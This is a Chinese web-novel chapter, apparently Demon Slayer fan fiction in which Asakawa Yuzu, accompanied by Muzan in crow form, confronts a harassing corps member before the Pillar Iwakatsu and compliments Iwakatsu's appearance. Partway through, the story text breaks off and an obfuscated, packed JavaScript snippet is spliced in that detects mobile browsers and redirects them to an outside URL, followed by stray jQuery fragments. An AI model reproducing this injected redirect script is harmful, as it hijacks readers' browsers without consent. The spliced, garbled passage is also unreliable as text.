浅川柚正犹自出神,耳后却突然传来了一阵疼痛。
“你在做什么?发愣吗?岩胜有什么害怕的!”
无惨化作的乌鸦狠狠啄了一下她。
浅川柚伸手捂住耳朵,不得不立刻挪动身体,往产屋敷的院子里走去。
其实,她不是像无惨以为的那样紧张。
之所以不动,只是因为岩胜今天少见地穿了一身白色羽织,非常符合对方清郁挺拔的气质,让一直以来看脸的浅川柚看愣了而已。
……真好看。
平心而论,浅川柚能够接受系统让她反复攻略一个人,也是因为这张脸让她的不耐烦都像是奶油一样化开了。
“……谢谢,这身衣服……也很适合你。”
岩胜开口,略微抿紧了唇,脸有些难为情地别开,浅川柚不由怔了一下,才意识到自己竟然把夸奖说出口了。
岩胜一直不是很能接受直白的称赞。
他总是不断地否定自己的优点,觉得别人说的只是客套话,丝毫没有意识到自己有多么优秀。
好像有一个无形的存在让他在心底反复对比,自己无论如何都达不到同样的境地……而达不到就是不够好。
这也是对方俊秀的脸庞上,总是如同冰冷的月光一样,流淌着淡淡疏离情绪的原因。
浅川柚攻略了这么多次,多少也是知道这一点,但怎么也管不住自己想要说出口的习惯。
因为岩胜就是岩胜啊,那是瞎子都能看得出来的美貌,怎么不能说出口了。
被她毫不掩饰地盯着看,岩胜的脸上泛起了淡淡的红色,和白色羽织更加相得益彰。
“早知道发带也做成浅色的了——”
她下意识道。
“啊。”
下一刻,她的声音戛然而止。
因为无惨又狠狠地啄了一下她的手指。
——别忘了,攻略游戏不是这么玩的!
“……呃。”
看到了乌鸦那双愤怒的红色小眼珠,浅川柚一时间有点莫名的心虚,仿佛自己是个承诺了不会乱搞结果出门就忘记了的丈夫,立刻补救地说道:“我是有事来找主公的。”
闻言,坐在最上面的主公说道:“是什么事呢?”
产屋敷今年不过二十几岁,因为疾病的原因身体极差,但说话的语气还是温和有礼,让人一听就忍不住心生亲近。
在浅川柚一进入鬼杀队的时候,他就注意到了,因为能够加入鬼杀队战斗的女性成员毕竟是少数。
尤其是她还有那样一张脸。
他也听说过了,对方待人温柔,说话轻声细语,让队里好些男性都为之蠢蠢欲动,有些难以猜测对方有什么事需要直接找到他。
闻言,岩胜也看她。
浅川柚面无表情道:“你的任务分配有问题。”
“什么?”
“昨夜有人随意进入我的房间,告诉我有一个任务只能我处理,虽然我杀死了鬼,但那只鬼不是我这种普通成员单独负责的。”
“这……的确不该。”
产屋敷脸上的表情微变。
先不说任务是什么,鬼杀队队员有专门通知任务的鎹鸦,怎么也不该由人深夜访问。
他立刻招来身旁的人,让对方去查清楚这件事,并且把那个通知任务的人带过来。
看到浅川柚如此冷静地指出了问题,没有丝毫的寒暄,无惨心底感觉一阵暗爽。
他最讨厌的就是看到浅川柚对主公毕恭毕敬,这会让他这个敌对头子感觉胃疼。
好在对方对鬼杀队似乎并没有太多感情,这让他将刚才看到她盯着岩胜看,却没有夸奖过自己脸的讨厌感压了下去。
产屋敷的效率很快,那个之前还在浅川柚面前晃悠的男人就被带了过来。
见到主公的时候,男人还有些发愣,因为作为一个普通队员他很少有机会直接接触到这种大人物,但紧接着他又看到了月柱、以及浅川柚的脸,此时此刻,还有什么不明白的——
这是在问责昨天发生的事了。
不等几人开口,男人就已经不甘地叫了起来。
“我没有错,我只是想给她一个教训而已!”
岩胜一顿:“……这是,什么意思?”
“我知道她是全家被鬼杀了,无处可去才加入的鬼杀队,但她一个女人,不老老实实地在后勤工作,竟然和我们男人一样拿着日轮刀,这不是在亵渎鬼杀队的神圣性吗?我只是想让她知难而退,好好找个男人而已!”
浅川柚倒是不怎么意外。
这些话,她之前听家里人的人说多了,一眼就看得出来这种人在想什么,她只是要找个人证才等他开口的,对此一点感觉也没有。
但是岩胜和产屋敷都瞬间变了脸色,岩胜甚至极少地动了怒,低声呵斥“闭嘴”。
男人似乎觉得已经到了这个地步,再掩饰也无所谓了,干脆恶狠狠地盯着浅川柚说道:“要是一视同仁也就罢了,明明对所有男人都会微笑,却唯独只对月柱大人一个人不同,我们所有人都看在眼里,你其实就是趋炎附势而已吧!”
听见自己的名字,岩胜一怔。
“我每天早晚都会给你打招呼,但你只是用同样的笑容回应我,十几天过去了,你也没打算成为我的女人……”
无惨在脑子里暗骂这男的有病。
签到十几天就能得到绝世美人,这个活动还有吗?想什么呢,便宜贱-男就是有癔症,居然还敢这么振振有词。
“明明昨天晚上,我是打算进你房间给你一个惊喜的,但没想到你还是那副样子!”
如果他有错,那也是被逼的!
“就算那是吃了十几个人的恶鬼又如何,都是你的错,你凭什么只喜欢柱……”
他话还没说完,岩胜已经忍无可忍地准备拔刀。
但眼前忽然一闪,男人惨叫一声,被骤然抽飞到了十几米远处,直接砸穿了好几把椅子。
浅川柚收回了日轮刀。
虽然她刚才用的是刀背,但毫不留情且精准的一招,依旧让男人爬跪在地上,呕吐出血来,很快就昏死了过去。
这样的变故,即便是停在她肩膀上的无惨也震惊了。
这么明显的体型差对方是怎么做到的……好像也没有用呼吸法?算了,不愧是他的上弦七,有着常人难以企及的过人之处……
“他承认了。”浅川柚平铺直述,“他也说了是吃了十几个人的恶鬼,我的任务超标了。”
“……”产屋敷。
“我要补偿。”
“没问题……不过,是什么呢?”
浅川柚犹豫了一下。
她先是看了一眼怔住的岩胜,似乎想说什么,但被无惨拿翅膀扇了一下脸,最后才勉强改口道:“我要钱,给我钱。”
真的是没办法,她现在要养一只挑剔的宠物。
“……”无惨。
刚才那个眼神是怎么回事!他想要奢侈的东西,不也是为了他们两个着想吗!
闻言,产屋敷毫不犹豫就答应了下来。
得到了想要的答复,浅川柚倒是没有立刻离开,而是磨磨蹭蹭、少见地朝岩胜的方向靠了靠,白皙的脸上浮现出了难得的踌躇。
见她过来,岩胜神色也流露出了几分紧张,但还是在原地没动。
“岩胜。”她悄悄说。
“……嗯。”
“刚才没说完,你今天穿的羽织真的很好看,而且刚才拔刀的样子也很帅气。如果有耳坠就更好看了。”
白皙的肌肤如果有耳坠的话,一定也是非常合适的。
岩胜没想到,她靠过来竟然是为了轻声说这句话,不由怔了怔……屏住呼吸,耳根也有点泛红了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122987|195984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这简直就像是……在大庭广众之下,专门对他一人说的悄悄话似的。
怎么能这样犯规。
他飞快地看了产屋敷一眼,心下慌乱不止,但对方只是含笑看着两人,似乎没觉得自己手底下的两个队员这样当面亲密有什么不对。
“……”
浅川柚说完自己想说的,就心满意足地离开了。
当然,这也有无惨狂拿翅膀扇人催促的原因,他生怕在这个氛围下浅川柚直接掏出发带告白了,那这个攻略游戏还怎么玩!
岩胜目不转睛,看着她的身影消失在了视线里。
他之所以在产屋敷这里,是因为有事情要找对方探讨。
近些天来,鬼杀队里出现了不少脸上生出斑纹的柱。
这些柱无一都是因为接到了除鬼的任务,在面对恶鬼的生死之际爆发出了潜力,才突然出现了斑纹。
斑纹的出现,意味着柱进入了实力的下一阶段。
岩胜对剑道有着超乎寻常的追求,也正是如此,他才会放弃世俗眼里高不可攀的城主位置,来到鬼杀队里斩杀恶鬼。
而从加入队里以来的几个月,他没有一天不在训练自己,想要做到更好。
虽然他不久前才开启了斑纹,但他依旧希望产屋敷能够给他分配更多的任务。
然而因为浅川柚的出现,他们原本正在聊的话题被带偏了。
岩胜收回视线,就直接撞上了产屋敷依旧含笑的眼。
“……”
产屋敷笑眯眯地说:“其实我早就听过,柚小姐是为了一个人才来到这里的。”
毕竟一个姬君一样的美人想要斩杀恶鬼,再怎么也会引起注意,而浅川柚又毫无遮掩地表示自己确实是为了一个人才加入的。
乍一听有些恋爱脑,但如果这个人是斩杀了吃掉她所有亲人的恶鬼,就值得原谅了。
毕竟这其中掺杂着恩情。
当然,岩胜也是因为这个原因,才一再地阻止其他人到处乱说的。
不过,他不记得自己和对方接触过了。
因为入队后的任务太多,他的所有精力都放在了提升剑技上,全神贯注地想要超过……他的双胞胎弟弟缘一,那让他无比痛苦的半身存在,虽然长相相同,但缘一是神之子,他只是一个妄想与之并肩的庸人而已。
所以他都是在结束任务就直接离开,不太会记得那些感激的人的面孔。
但不可否认的是,每当浅川柚靠近他、一眨不眨地看着他的时候,他的心脏会不受控制地漏掉半拍,心下泛起紧张的涟漪。
这是一种让他不熟悉、又难以控制的生理反应,很恍惚,仿佛已经经历过了许多次。
【有人全心全意的,只看见了他。】
他的心神不宁,产屋敷作为一个已婚人士又怎么看不出来。
于是,他打趣地说道:“柚小姐的实力很不错,有当柱的潜力。我偶然听柚小姐对其他人说,是你亲手救下了她,还告诉她鬼杀队的存在,之后还将紫藤花的锦囊留给了她,如果不是岩胜,我还不能找到下一个柱的存在呢。”
产屋敷的本意是想调侃岩胜,因为对方像一个清修的武士,始终游离在鬼杀队之外,如同缥缈的月光……
没想到竟然还能做出这种事。
这怎么不算一种缘分。
然而随着他话音落下,方才脸上还带着薄红的青年,血色忽地消失了,定定地看着他。
“我没有。”
“什么?”产屋敷没听清。
下一刻,他看到一向冷淡的月柱,脸上竟然露出了一个饱含自嘲的、扭曲的灰败笑容。
“是缘一救了她。”
难怪他不记得浅川柚了。
因为缘一才是那个真正救了她的人,而他,不过是因为长相相同而被认错罢了。
鸠占鹊巢。